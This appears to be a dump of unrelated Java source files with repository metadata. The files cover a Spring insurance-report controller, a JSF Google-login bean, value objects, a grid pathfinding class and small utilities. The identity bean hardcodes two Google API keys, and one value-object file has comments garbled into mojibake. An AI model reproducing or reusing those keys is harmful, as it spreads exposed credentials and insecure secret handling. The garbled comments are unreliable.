instances.add("10X100_13.txt"); instances.add("10X100_10.txt"); instances.add("10X100_8.txt"); instances.add("10X100_11.txt"); instances.add("10X100_5.txt"); instances.add("10X100_12.txt"); instances.add("10X100_4.txt"); instances.add("10X100_2.txt"); instances.add("10X100_9.txt"); instances.add("10X100_20.txt"); instances.add("10X100_14.txt"); instances.add("10X100_17.txt"); instances.add("10X100_6.txt"); instances.add("10X100_19.txt"); instances.add("10X100_7.txt"); instances.add("10X100_1.txt"); in = new BufferedReader(new FileReader(mainDir + design_conf)); while ((line = in.readLine()) != null) { st = new StringTokenizer(line.trim(), " "); String number = st.nextToken().trim(); st.nextToken().trim(); st.nextToken().trim(); instance = instances.get(new Integer(st.nextToken().trim()) - 1); for (int i = 0; i < n_leves; i++) params.put(levels[i], st.nextToken().trim()); int it = 0; while(it < RUNS_NUMBER){ Solution s = execOneTime(dirName + "/" + instance, instance, null, params); printWriter.println(number + ";" + instance + ";" + s.setObjectiveFunction()); printWriter.flush(); it++; } } printWriter.close(); fileWriter.close(); in.close(); } catch (IOException e) { e.printStackTrace(); } } private void writeResultInstance(String instance, PrintWriter printWriter, List<Solution> memory, long tempoAlvo) throws ParseException { String instanceName = instance.substring(0, instance.indexOf(FILE_TYPE)); Solution solution = memory.get(0); printWriter.print(instanceName +";" + solution.getNumberOfJobs()+ ";"+ solution.getNumberOfMachines() + ";"); printWriter.print(";" + solution.getTime()); printWriter.print(";" + tempoAlvo); printWriter.print(";" + solution.getObjectiveFunction()); printWriter.println(); printWriter.flush(); } private void writeResultInstance(PrintWriter printWriter, String instance, float cost, long time) throws ParseException { String instanceName = instance.substring(0, instance.indexOf(FILE_TYPE)); printWriter.println(instanceName + ";" + time + ";" + cost); printWriter.flush(); } private ArrayList<String> loadInstancesNames(String dirName) { ArrayList<String> instances = new ArrayList<String>(); File dir = new File(dirName); String[] children = dir.list(); if (children == null); else { for (int i=0; i < children.length; i++) { // Get filename of file or directory String filename = children[i]; if(!filename.contains(FILE_TYPE)) continue; instances.add(filename); } } return instances; } public static void main(String[] args) { if (args.length >= 4){ Random rand = new Random(new Long(args[2])); String instance = args[3]; HashMap<String, String> params = new HashMap<String, String>(); for (int i = 4; i < args.length; i+=2) params.put(args[i], args[i + 1]); ExperimentRunner experiment = new ExperimentRunner(rand); try { Solution s = experiment.execOneTime(instance, null, null, params); System.out.println("Best " + ((s == null)? Float.MAX_VALUE : s.getObjectiveFunction()) + "0"); } catch (Exception e) {e.printStackTrace();} } else { ExperimentRunner experiment = new ExperimentRunner(); try { experiment.run(); } catch (Exception e) { e.printStackTrace(); } } } }
true
63cfe1ca7ee27014859a9e07bf170cec98eac7fa
Java
sathishpic22/SpringBootTest
/demospringboot/src/main/java/com/example/demospringboot/Repositary/TutorialRepositary.java
UTF-8
316
1.6875
2
[]
no_license
package com.example.demospringboot.Repositary; import org.springframework.data.repository.CrudRepository; import org.springframework.stereotype.Repository; import com.example.demospringboot.Model.Tutorial; @Repository public interface TutorialRepositary extends CrudRepository<Tutorial,Long> { }
true
55a2a3e0605c9aaf132298470811cc35ff14583f
Java
EnriqueSalazar/PAS
/src/co/gov/fonada/planeacion/mb/IdentityMB.java
UTF-8
6,160
2.140625
2
[]
no_license
package co.gov.fonada.planeacion.mb; import java.io.*; import java.net.HttpURLConnection; import java.net.URL; import javax.faces.bean.ManagedBean; import javax.faces.context.FacesContext; import com.google.appengine.api.users.User; import com.google.appengine.api.users.UserService; import com.google.appengine.api.users.UserServiceFactory; import javax.faces.bean.RequestScoped; import javax.faces.context.ExternalContext; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @ManagedBean @RequestScoped public class IdentityMB implements Serializable { /** * */ private static final long serialVersionUID = 6906185822389980782L; private String Nickname; private String Email; private String userImage; private String userProfile; public IdentityMB() { } public String getLoginUrl() { ExternalContext ctx = FacesContext.getCurrentInstance() .getExternalContext(); HttpServletRequest request = (HttpServletRequest) ctx.getRequest(); HttpServletResponse response = (HttpServletResponse) ctx.getResponse(); UserService userService = UserServiceFactory.getUserService(); // System.out.println("IdentityMB getLoginUrl " // + userService.createLoginURL(response.encodeURL(request // .getRequestURI()))); return userService.createLoginURL(response.encodeURL(request .getRequestURI())); } public String getLogoutUrl() { UserService userService = UserServiceFactory.getUserService(); // //System.out.println("IdentityMB getLogoutUrl " // + userService.createLogoutURL("/")); return userService.createLogoutURL("/"); } public boolean isLoggedIn() { UserService userService = UserServiceFactory.getUserService(); if (userService.getCurrentUser() == null) { try{ FacesContext.getCurrentInstance().getExternalContext().redirect(getLoginUrl()); }catch(IOException ioe){ } } return userService.getCurrentUser() != null; } public User currentUser() { UserService userService = UserServiceFactory.getUserService(); // System.out.println("IdentityMB currentUser " // + userService.getCurrentUser().getEmail()); return userService.getCurrentUser(); } /** * @return the name */ public String getNickname() { try { UserService userService = UserServiceFactory.getUserService(); Nickname = userService.getCurrentUser().getNickname(); } catch (Exception ex) { } return Nickname; } /** * @param name the name to set */ public void setNickname(String nickname) { Nickname = nickname; } /** * @return the email */ public String getEmail() { try { UserService userService = UserServiceFactory.getUserService(); Email = userService.getCurrentUser().getEmail(); } catch (Exception ex) { } return Email; } /** * @param email the email to set */ public void setEmail(String email) { Email = email; } /** * @return the userImage */ public String getUserImage() { try { UserService userService = UserServiceFactory.getUserService(); String userId = userService.getCurrentUser().getUserId(); userImage = "https://www.googleapis.com/plus/v1/people/" + userId + "?fields=image&key=AIzaSyCTNZufNv65EsvPB0ABljPIPqf0oc4s7zw"; } catch (Exception ex) { } return userImage; } /** * @param userImage the userImage to set */ public void setUserImage(String userImage) { this.userImage = userImage; } /** * @return the userProfile */ public String getUserProfile() { // System.out.println(""); // System.out.println("IdentityMB getUserProfile"); try { UserService userService = UserServiceFactory.getUserService(); String userId = userService.getCurrentUser().getUserId(); String serverApiKey = "AIzaSyAALln_EXK0jOsbot8fUFXiiYeMWey3qTE"; URL userProfileURL = new URL( "https://www.googleapis.com/plus/v1/people/" + userId + "?key=" + serverApiKey); HttpURLConnection connection = (HttpURLConnection) userProfileURL .openConnection(); // int responseCode = connection.getResponseCode(); StringBuffer buffer; String line; // //System.out.println("IdentityMB userProfileURL " + // userProfileURL); // //System.out.println("IdentityMB getResponseCode " + // responseCode); // //System.out.println("IdentityMB getResponseMessage " // + connection.getResponseMessage()); // //System.out.println("IdentityMB getErrorStream " // + connection.getErrorStream()); // if (responseCode != HttpURLConnection.HTTP_OK) { // throw new Exception("HTTP response code: " + // String.valueOf(responseCode)); // } try { buffer = new StringBuffer(); InputStream input = connection.getInputStream(); BufferedReader dataInput = new BufferedReader( new InputStreamReader(input)); while ((line = dataInput.readLine()) != null) { // System.out.println(line); buffer.append(line); buffer.append("\r\n"); } input.close(); } catch (Exception ex) { ex.printStackTrace(System.err); return null; } userProfile = buffer.toString(); } catch (Exception ex) { } return userProfile; } /** * @param userProfile the userProfile to set */ public void setUserProfile(String userProfile) { this.userProfile = userProfile; } }
true
e08bd669475f6008a43ba0716833df63af891917
Java
zhyzhyzhy/springboot-jwt-demo
/src/main/java/cc/zhy/jwtdemo/service/StudentService.java
UTF-8
1,802
2.390625
2
[]
no_license
package cc.zhy.jwtdemo.Service; import cc.zhy.jwtdemo.domain.Student; import cc.zhy.jwtdemo.repository.StudentRepository; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.security.core.GrantedAuthority; import org.springframework.security.core.authority.SimpleGrantedAuthority; import org.springframework.security.core.userdetails.User; import org.springframework.security.core.userdetails.UserDetails; import org.springframework.security.core.userdetails.UserDetailsService; import org.springframework.security.core.userdetails.UsernameNotFoundException; import org.springframework.stereotype.Service; import java.util.Arrays; import java.util.Collections; import java.util.LinkedList; import java.util.List; /** * Created by zhy on 6/8/17. */ @Service public class StudentService implements UserDetailsService{ private StudentRepository studentRepository; @Autowired public StudentService(StudentRepository studentRepository) { this.studentRepository = studentRepository; } public List<Student> findAll() { return studentRepository.findAll(); } public Student save(Student student) { return studentRepository.save(student); } public Student findById(String id) { return studentRepository.findById(id).orElse(null); } @Override public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException { Student student = studentRepository.findById(username) .orElseThrow(() -> new UsernameNotFoundException(username)); List<GrantedAuthority> list = Collections.singletonList(( new SimpleGrantedAuthority("ROLE_USER") )); return new User(student.getId(),student.getPassword(),list); } }
true
be421873cd8c3a1a7af7d0e76cd6fa5b3863c3bb
Java
atsianis/Person-Creator
/Person.java
UTF-8
898
2.78125
3
[]
no_license
public class Person { private String name; private int age; private String color; private String sport; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getColor() { return color; } public void setColor(String color) { this.color = color; } public String getSport() { return sport; } public void setSport(String sport) { this.sport = sport; } public void setAll(String name, int age, String color, String sport){ this.name = name; //enallaktika tha mporousame na kalesoume tin setName(name) this.age = age; this.color = color; this.sport = sport; } }
true
e3780feff24ecfece46f30e479ab020c638c4da2
Java
uwitec/nc-wandashan
/wds/src/public/nc/vo/wds/w80040608/TbStockguardVO.java
GB18030
8,665
2.0625
2
[]
no_license
/***************************************************************\ * The skeleton of this class is generated by an automatic * * code generator for NC product. It is based on Velocity. * \***************************************************************/ package nc.vo.wds.w80040608; import java.util.ArrayList; import nc.vo.pub.*; import nc.vo.pub.lang.*; /** * <b> ڴ˴ҪĹ </b> * * <p> * ڴ˴ӴϢ * </p> * * :2010-7-16 * @author ${vmObject.author} * @version Your Project 1.0 */ public class TbStockguardVO extends SuperVO { public String pk_invbasdoc; public String sg_pk; public UFDateTime ts; public String sg_custom3; public String sg_custom1; public Integer sg_guardtime; public Integer dr; public String sg_remark; public String sg_custom2; public String sg_custom4; public static final String PK_INVBASDOC="pk_invbasdoc"; public static final String SG_PK="sg_pk"; public static final String TS="ts"; public static final String SG_CUSTOM3="sg_custom3"; public static final String SG_CUSTOM1="sg_custom1"; public static final String SG_GUARDTIME="sg_guardtime"; public static final String DR="dr"; public static final String SG_REMARK="sg_remark"; public static final String SG_CUSTOM2="sg_custom2"; public static final String SG_CUSTOM4="sg_custom4"; /** * pk_invbasdocGetter. * * :2010-7-16 * @return String */ public String getPk_invbasdoc() { return pk_invbasdoc; } /** * pk_invbasdocSetter. * * :2010-7-16 * @param newPk_invbasdoc String */ public void setPk_invbasdoc(String newPk_invbasdoc) { pk_invbasdoc = newPk_invbasdoc; } /** * sg_pkGetter. * * :2010-7-16 * @return String */ public String getSg_pk() { return sg_pk; } /** * sg_pkSetter. * * :2010-7-16 * @param newSg_pk String */ public void setSg_pk(String newSg_pk) { sg_pk = newSg_pk; } /** * tsGetter. * * :2010-7-16 * @return UFDateTime */ public UFDateTime getTs() { return ts; } /** * tsSetter. * * :2010-7-16 * @param newTs UFDateTime */ public void setTs(UFDateTime newTs) { ts = newTs; } /** * sg_custom3Getter. * * :2010-7-16 * @return String */ public String getSg_custom3() { return sg_custom3; } /** * sg_custom3Setter. * * :2010-7-16 * @param newSg_custom3 String */ public void setSg_custom3(String newSg_custom3) { sg_custom3 = newSg_custom3; } /** * sg_custom1Getter. * * :2010-7-16 * @return String */ public String getSg_custom1() { return sg_custom1; } /** * sg_custom1Setter. * * :2010-7-16 * @param newSg_custom1 String */ public void setSg_custom1(String newSg_custom1) { sg_custom1 = newSg_custom1; } /** * sg_guardtimeGetter. * * :2010-7-16 * @return Integer */ public Integer getSg_guardtime() { return sg_guardtime; } /** * sg_guardtimeSetter. * * :2010-7-16 * @param newSg_guardtime Integer */ public void setSg_guardtime(Integer newSg_guardtime) { sg_guardtime = newSg_guardtime; } /** * drGetter. * * :2010-7-16 * @return Integer */ public Integer getDr() { return dr; } /** * drSetter. * * :2010-7-16 * @param newDr Integer */ public void setDr(Integer newDr) { dr = newDr; } /** * sg_remarkGetter. * * :2010-7-16 * @return String */ public String getSg_remark() { return sg_remark; } /** * sg_remarkSetter. * * :2010-7-16 * @param newSg_remark String */ public void setSg_remark(String newSg_remark) { sg_remark = newSg_remark; } /** * sg_custom2Getter. * * :2010-7-16 * @return String */ public String getSg_custom2() { return sg_custom2; } /** * sg_custom2Setter. * * :2010-7-16 * @param newSg_custom2 String */ public void setSg_custom2(String newSg_custom2) { sg_custom2 = newSg_custom2; } /** * sg_custom4Getter. * * :2010-7-16 * @return String */ public String getSg_custom4() { return sg_custom4; } /** * sg_custom4Setter. * * :2010-7-16 * @param newSg_custom4 String */ public void setSg_custom4(String newSg_custom4) { sg_custom4 = newSg_custom4; } /** * ֤֮߼ȷ. * * :2010-7-16 * @exception nc.vo.pub.ValidationException ֤ʧ,׳ * ValidationException,Դн. */ public void validate() throws ValidationException { ArrayList errFields = new ArrayList(); // errFields record those null // fields that cannot be null. // ǷΪյֶθ˿ֵ,Ҫ޸ʾϢ: if (sg_pk == null) { errFields.add(new String("sg_pk")); } StringBuffer message = new StringBuffer(); message.append("ֶβΪ:"); if (errFields.size() > 0) { String[] temp = (String[]) errFields.toArray(new String[0]); message.append(temp[0]); for ( int i= 1; i < temp.length; i++ ) { message.append(","); message.append(temp[i]); } throw new NullFieldException(message.toString()); } } /** * <p>ȡøVOֶ. * <p> * :2010-7-16 * @return java.lang.String */ public java.lang.String getParentPKFieldName() { return null; } /** * <p>ȡñ. * <p> * :2010-7-16 * @return java.lang.String */ public java.lang.String getPKFieldName() { return "sg_pk"; } /** * <p>ر. * <p> * :2010-7-16 * @return java.lang.String */ public java.lang.String getTableName() { return "tb_stockguard"; } /** * ĬϷʽ. * * :2010-7-16 */ public TbStockguardVO() { super(); } /** * ʹгʼĹ. * * :2010-7-16 * @param newSg_pk ֵ */ public TbStockguardVO(String newSg_pk) { // Ϊֶθֵ: sg_pk = newSg_pk; } /** * ضʶ,Ψһλ. * * :2010-7-16 * @return String */ public String getPrimaryKey() { return sg_pk; } /** * öʶ,Ψһλ. * * :2010-7-16 * @param newSg_pk String */ public void setPrimaryKey(String newSg_pk) { sg_pk = newSg_pk; } /** * ֵʾ. * * :2010-7-16 * @return java.lang.String ֵʾ. */ public String getEntityName() { return "tb_stockguard"; } }
true
927f2a153d20f293805ddb128b3381bff5369c00
Java
Game-Designing/Custom-Football-Game
/sources/com/smaato/soma/p239c/p252i/C12281g.java
UTF-8
282
1.625
2
[ "MIT" ]
permissive
package com.smaato.soma.p239c.p252i; import java.util.List; /* renamed from: com.smaato.soma.c.i.g */ /* compiled from: Utils */ public class C12281g { /* renamed from: a */ public static boolean m40430a(List list) { return list == null || list.isEmpty(); } }
true
08f1e9c2dd307b5fba53069fd6143f2f5765b99f
Java
jackssybin/baoxian
/src/main/java/com/kaisagroup/baoxian/controller/api/BaoXianApiController.java
UTF-8
11,659
1.882813
2
[]
no_license
package com.kaisagroup.baoxian.controller.api; import com.github.pagehelper.PageHelper; import com.kaisagroup.baoxian.entity.*; import com.kaisagroup.baoxian.service.BaoXioanService; import com.kaisagroup.baoxian.util.Constants; import com.kaisagroup.baoxian.util.LayuiData; import com.kaisagroup.baoxian.util.baoxianjson.ReportJsonData; import com.kaisagroup.baoxian.util.baoxianjson.RepostJsonDataResp; import io.swagger.annotations.ApiOperation; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.validation.BindingResult; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.*; import org.thymeleaf.util.StringUtils; import javax.servlet.http.HttpServletRequest; import java.util.List; /** * Created by jackssy on 2018/7/27. */ @Controller @RequestMapping("/baoxian") public class BaoXianApiController { private Log logger = LogFactory.getLog(this.getClass()); @Autowired private BaoXioanService baoXioanService; @ApiOperation(value = "新增或修改保存") @RequestMapping(path = "/doAddOrUpdate", method={RequestMethod.POST}) @ResponseBody public LayuiData doAddOrUpdate(HttpServletRequest request, ComplexEntity complexEntity,BindingResult bindingResult) { String addOrUpdateType=request.getParameter("addOrUpdateType");//新增add,修改 update,查看 view ,审核 audit if(!StringUtils.isEmpty(addOrUpdateType)){ if(Constants.OPER_ADD.equals(addOrUpdateType)){ this.baoXioanService.save(complexEntity.getBaoxian(),complexEntity.getShouxian(),complexEntity.getChanxian()); }else if(Constants.OPER_UPDATE.equals(addOrUpdateType)){ this.baoXioanService.update(complexEntity.getBaoxian(),complexEntity.getShouxian(),complexEntity.getChanxian()); } } LayuiData layuiData =new LayuiData(); layuiData.setCode(1); layuiData.setMsg("success"); return layuiData; } @ApiOperation(value = "新增或修改保存保险") @RequestMapping(path = "/doAddOrUpdateBaoXian", method={RequestMethod.POST}) @ResponseBody public LayuiData doAddOrUpdateBaoXian(HttpServletRequest request, BaoXian baoXian,BindingResult bindingResult) { String addOrUpdateType=request.getParameter("addOrUpdateType");//新增add,修改 update,查看 view ,审核 audit if(!StringUtils.isEmpty(addOrUpdateType)){ if(Constants.OPER_ADD.equals(addOrUpdateType)||Constants.OPER_UPDATE.equals(addOrUpdateType)){ this.baoXioanService.saveOrUpdateBaoXian(baoXian); } } LayuiData layuiData =new LayuiData(); layuiData.setCode(1); layuiData.setMsg("success"); return layuiData; } @ApiOperation(value = "新增或修改保存产险") @RequestMapping(path = "/doAddOrUpdateChanXian", method={RequestMethod.POST}) @ResponseBody public LayuiData doAddOrUpdateChanXian(HttpServletRequest request, List<ChanXian> chanXianList) { String addOrUpdateType=request.getParameter("addOrUpdateType");//新增add,修改 update,查看 view ,审核 audit if(!StringUtils.isEmpty(addOrUpdateType)){ if(Constants.OPER_ADD.equals(addOrUpdateType)||Constants.OPER_UPDATE.equals(addOrUpdateType)){ // this.baoXioanService.saveOrUpdateChanXian(chanXian); } } LayuiData layuiData =new LayuiData(); layuiData.setCode(1); layuiData.setMsg("success"); return layuiData; } @ApiOperation(value = "新增或修改保存寿险") @RequestMapping(path = "/doAddOrUpdateShouxian", method={RequestMethod.POST}) @ResponseBody public LayuiData doAddOrUpdateShouxian(HttpServletRequest request, List<ShouXian> shouXianList) { String addOrUpdateType=request.getParameter("addOrUpdateType");//新增add,修改 update,查看 view ,审核 audit if(!StringUtils.isEmpty(addOrUpdateType)){ if(Constants.OPER_ADD.equals(addOrUpdateType)||Constants.OPER_UPDATE.equals(addOrUpdateType)){ // this.baoXioanService.saveOrUpdateShouXian(shouXian); } } LayuiData layuiData =new LayuiData(); layuiData.setCode(1); layuiData.setMsg("success"); return layuiData; } @ApiOperation(value = "产品列表") @RequestMapping(value = "listAll/{start}/{size}",method={RequestMethod.POST}) public @ResponseBody LayuiData listAll(@PathVariable("start")int start, @PathVariable("size")int size, BaoXian baoxian){ PageHelper.startPage(start,size); BaoXianExample example = new BaoXianExample(); if(null!=baoxian&& null!=baoxian.getYear()&&baoxian.getYear()>0){ example.createCriteria().andYearEqualTo(baoxian.getYear()); } if(null!=baoxian&& null!=baoxian.getMonth()&&baoxian.getMonth()>0){ example.createCriteria().andMonthEqualTo(baoxian.getMonth()); } if(null!=baoxian&& !StringUtils.isEmpty(baoxian.getReportplace())){ example.createCriteria().andReportplaceEqualTo(baoxian.getReportplace()); } List<BaoXian> list = this.baoXioanService.findBiaoXianList(example); LayuiData layuiData = new LayuiData(); layuiData.setMsg("ok"); layuiData.setCode(0); layuiData.setCount(list.size()); layuiData.setData(list); return layuiData ; } @RequestMapping(value = "auditStatus",method={RequestMethod.POST}) @ApiOperation(value = "更新保险状态[auditSuccess:成功 reject:驳回 toAudit:待审核]") public @ResponseBody LayuiData auditStatus(String operId,String status){ int result=this.baoXioanService.auditStatus( operId, status,Constants.OPER_MAN); LayuiData layuiData = new LayuiData(); if(Constants.Status.auditSuccess.getCode().equals(status)){//审核通过并报送 logger.info("审核成功:开始提交报文信息"); RepostJsonDataResp resp = this.baoXioanService.postReportPlaceData(operId); logger.info("提交报文信息结束:"+resp.getResult().toString()); layuiData.setCode(Integer.parseInt(resp.getResult().getCode())); layuiData.setMsg(resp.getResult().getMessage()); return layuiData; } layuiData.setMsg("ok"); layuiData.setCode(result); return layuiData ; } @RequestMapping(value = "deleteBaoXianById",method={RequestMethod.POST}) @ApiOperation(value = "删除保险") public @ResponseBody LayuiData deleteBaoXianById(String operId){ int result=this.baoXioanService.deleteBaoXianById(operId); LayuiData layuiData = new LayuiData(); layuiData.setMsg(result>0?"ok":"error"); layuiData.setCode(result); return layuiData ; } /** * 去新增或修改界面 查看 审核界面 * @param model * @return */ @RequestMapping(value = "toAddOrUpdateOrViewOrAudit",method={RequestMethod.GET}) @ApiOperation(value = "跳转到新增add,修改update,查看view,审核audit,页面") public String toAddOrUpdateOrViewOrAudit(String addOrUpdateType,String id, Model model) { // String addOrUpdateType=request.getParameter("addOrUpdateType");//新增add,修改 update,查看 view ,审核 audit if(StringUtils.isEmpty(addOrUpdateType)){ addOrUpdateType="add"; } BaoXian baoxian=new BaoXian(); ShouXian shouxian=new ShouXian(); ChanXian chanxian =new ChanXian(); // String id=request.getParameter("id"); if(!StringUtils.isEmpty(addOrUpdateType)&&!StringUtils.isEmpty(id)&&!Constants.OPER_ADD.equals(addOrUpdateType)){ baoxian = this.baoXioanService.findBaoxianById(id); shouxian= this.baoXioanService.findShouxianByBxId(id); chanxian= this.baoXioanService.findChanxianByBxId(id); } model.addAttribute("addOrUpdateType",addOrUpdateType); model.addAttribute("baoxian",baoxian); model.addAttribute("shouxian",shouxian); model.addAttribute("chanxian",chanxian); return "baoxian/addOrUpdate"; } @RequestMapping(value = "postReportPlaceTest",method={RequestMethod.POST}) @ApiOperation(value = "测试报送地址") public LayuiData postReportPlaceTest(@RequestParam String operId){ if(StringUtils.isEmpty(operId)){ throw new RuntimeException("operId 为空"); // operId="42ff36b44103480b8d2e99172dbf9409"; } LayuiData layuiData = new LayuiData(); logger.info("审核成功:开始提交报文信息"); RepostJsonDataResp resp = this.baoXioanService.postReportPlaceData(operId); if(null!=resp&&null!=resp.getResult()){ logger.info("提交报文信息结束:"+resp.getResult().toString()); }else{ logger.info("请求异常"); } layuiData.setCode(Integer.parseInt(resp.getResult().getCode())); layuiData.setMsg(resp.getResult().getMessage()); layuiData.setMsg("ok"); return layuiData ; } @RequestMapping(value = "postReportPlaceReceiveTest",method={RequestMethod.POST}) @ApiOperation(value = "测试报送地址") public String postReportPlaceReceiveTest(@RequestBody ReportJsonData data){ logger.info("postReportPlaceTest="+data.toString()); return data.toString(); } /** * ********************************************************************** * 分隔符 * * ********************************************************************** */ // @RequestMapping(path = "/getBaoXianList", method={RequestMethod.POST,RequestMethod.GET}) // @ResponseBody public LayuiData getBaoXianList (HttpServletRequest request){ String id = request.getParameter(""); if(id==null){ id=""; } String pageStr= request.getParameter("page"); String limitStr= request.getParameter("limit"); int page=1; int limit =10; if(!StringUtils.isEmpty(pageStr)){ page=Integer.parseInt(pageStr); } if(!StringUtils.isEmpty(limitStr)){ limit=Integer.parseInt(limitStr); } if(page>=2){ page = (page-1)*limit; } LayuiData layuiData = new LayuiData(); // List<BaoXian> baoxianList =this.baoXioanService.f // int count = userService.getUserCount(); layuiData.setCode(0); layuiData.setCount(22); layuiData.setMsg("数据请求成功"); // layuiData.setData(userList); return layuiData; } @InitBinder("baoxian") public void baoXianBinder(WebDataBinder webDataBinder){ webDataBinder.setFieldDefaultPrefix("baoxian."); } @InitBinder("shouxian") public void shouXianBinder(WebDataBinder webDataBinder){ webDataBinder.setFieldDefaultPrefix("shouxian."); } @InitBinder("chanxian") public void chanXianBinder(WebDataBinder webDataBinder){ webDataBinder.setFieldDefaultPrefix("chanxian."); } }
true
2e510c7abe2533974805cc022aa91f64594b67a8
Java
Navpreet1234/Pathfinding
/Microsoft_backend/dijistra.java
UTF-8
4,351
2.953125
3
[ "MIT" ]
permissive
// package front; import java.util.ArrayList; import java.util.LinkedList; import java.util.Arrays; import java.util.HashMap; import java.util.HashSet; import java.util.PriorityQueue; /** * * @author hp */ public class dijistra { private int [][]graph; private int []src;////src[0]=row val of matrix..... ////src[1]=col val of matrix.....src[2]=weight........ private int []det; ///same as src... private boolean isdiagonal; private String output; public dijistra(int[][] graph,int[] src,int[] det,boolean isdiagonal){ this.src=src; this.det=det; this.graph=graph; this.isdiagonal=isdiagonal; } public class pair{ int i; int j; int w; int wsf; String st; pair(int src,int par,int wsf, String st){ this.i=src; this.j=par; this.st = st; this.wsf=wsf; } } public void dijikstraAlgo(){ int r = graph.length, c = graph[0].length; //System.out.println(r+" "+c); PriorityQueue<pair> que=new PriorityQueue<>((pair a,pair b)->{ return a.wsf - b.wsf; }); boolean[][] vis=new boolean[r][c]; que.add(new pair(src[0], src[1], 0, "")); //System.out.println(det[0]+" "+det[1]); while(que.size() > 0) { pair fro = que.remove(); int x = fro.i; int y = fro.j; //System.out.print(x+" "+y+" "+fro.st+ "->"); int wsf = fro.wsf; String st = fro.st; //if(vis[x][y]) continue; vis[x][y] = true; if(det[0] == x && det[1] == y) { //System.out.println(st); output = st; break; } wsf++; if(x > 0 && !vis[x - 1][y] && graph[x - 1][y] != -1) { vis[x - 1][y]=true; que.add(new pair(x - 1, y, wsf, st + "U")); } if(y > 0 && !vis[x][y - 1] && graph[x][y - 1] != -1) { vis[x][y - 1]=true; que.add(new pair(x, y - 1, wsf, st + "L")); } if(x < r - 1 && !vis[x + 1][y] && graph[x + 1][y] != -1) { vis[x + 1][y] =true; que.add(new pair(x + 1, y, wsf, st + "D")); } if(y < c - 1 && !vis[x][y +1] && graph[x][y + 1] != -1) { vis[x][y + 1]=true; que.add(new pair(x, y + 1, wsf, st + "R")); } if(isdiagonal){ if(x > 0 && y < c-1 && !vis[x - 1][y+1] && graph[x - 1][y+1] != -1) { vis[x - 1][y+1]=true; que.add(new pair(x - 1, y+1, wsf, st + "E")); } if(y > 0 && x > 0 &&!vis[x -1][y - 1] && graph[x - 1][y - 1] != -1) { vis[x -1][y - 1] =true; que.add(new pair(x-1, y - 1, wsf, st + "N")); } if(x < r - 1 && y>0 && !vis[x + 1][y-1] && graph[x + 1][y -1] != -1) { vis[x + 1][y-1] =true; que.add(new pair(x + 1, y-1, wsf, st + "W")); } if(y < c - 1 && x < r-1 && !vis[x + 1][y + 1] && graph[x + 1][y + 1] != -1) { vis[x + 1][y + 1] =true; que.add(new pair(x+1, y + 1, wsf, st + "S")); } } } int[][] ans = conversion(); for (int i = 0; i < ans.length; i++) { for (int j = 0; j < ans[i].length; j++) { System.out.print(ans[i][j]+","); } System.out.print(" "); } } public int[][] conversion() { int i = src[0], j = src[1]; int ret[][] = new int[output.length()][2]; for (int x = 0; x < output.length(); x++) { char ch = output.charAt(x); if (ch == 'U') { i--; } else if (ch == 'D') { i++; } else if (ch == 'L') { j--; } else if (ch == 'R') { j++; } else if (ch == 'N') { i--; j--; } else if (ch == 'S') { i++; j++; } else if (ch == 'E') { i--; j++; } else if (ch == 'W') { i++; j--; } ret[x][0] = i; ret[x][1] = j; } return ret; } }
true
8b2e6b7dc38478c2cba5aa092a22c5e100631538
Java
hsun0120/NLPResearchProject
/docTagger/Interval.java
UTF-8
1,261
3.484375
3
[ "MIT" ]
permissive
package docTagger; /** * Closed-open, [), interval on the integer number line. */ public interface Interval extends Comparable<Interval> { /** * Returns the starting point of this. */ int start(); /** * Returns the ending point of this. The interval does not include this point. */ int end(); /** * Returns the length of this. */ default int length() { return end() - start(); } /** * Returns if this interval is adjacent to the specified interval. Two * intervals are adjacent if either one ends where the other starts. * * @param interval - the interval to compare this one to * @return if this interval is adjacent to the specified interval. */ default boolean isAdjacent(Interval other) { return start() == other.end() + 1 || end() + 1 == other.start(); } default boolean overlaps(Interval o) { return (start() <= o.end() && end() >= o.start()) || (end() >= o.start() && start() <= o.end()); } default int compareTo(Interval o) { if (start() > o.start()) { return 1; } else if (start() < o.start()) { return -1; } else if (end() > o.end()) { return 1; } else if (end() < o.end()) { return -1; } else { return 0; } } }
true
7d9c95029c530bb73fe5320ad2dc4afcd1dc04ae
Java
formacionted/m3-jse
/src/com/jse/poo/clases/Movil.java
UTF-8
1,649
3.28125
3
[]
no_license
package com.jse.poo.clases; /** * 8 - Crear una clase Móvil con propiedades para * nombre * numero de núcleos * gigas de ram * tamaño de la pantalla en pulgada * peso en gramos */ public class Movil { private String nombre; private int numNucleos; private double ram; private double pulgadas; private double peso; private FabricanteMoviles fabricante; public Movil() { } public Movil(String nombre, int numNucleos, double ram, double pulgadas, double peso, FabricanteMoviles fabricante) { this.nombre = nombre; this.numNucleos = numNucleos; this.ram = ram; this.pulgadas = pulgadas; this.peso = peso; this.fabricante = fabricante; } public FabricanteMoviles getFabricante() { return fabricante; } public void setFabricante(FabricanteMoviles fabricante) { this.fabricante = fabricante; } public String getNombre() { return nombre; } public void setNombre(String nombre) { this.nombre = nombre; } public int getNumNucleos() { return numNucleos; } public void setNumNucleos(int numNucleos) { this.numNucleos = numNucleos; } public double getRam() { return ram; } public void setRam(double ram) { this.ram = ram; } public double getPulgadas() { return pulgadas; } public void setPulgadas(double pulgadas) { this.pulgadas = pulgadas; } public double getPeso() { return peso; } public void setPeso(double peso) { this.peso = peso; } @Override public String toString() { return "Movil [nombre=" + nombre + ", numNucleos=" + numNucleos + ", ram=" + ram + ", pulgadas=" + pulgadas + ", peso=" + peso + ", fabricante=" + fabricante.getNombre() + "]"; } }
true
c80f0234312ae9f3d19ba7f8497d8ad455daa0d6
Java
yuandong1234/StadiumTV
/app/src/main/java/com/kasai/stadium/tv/utils/BaseSharePreferences.java
UTF-8
2,101
2.671875
3
[]
no_license
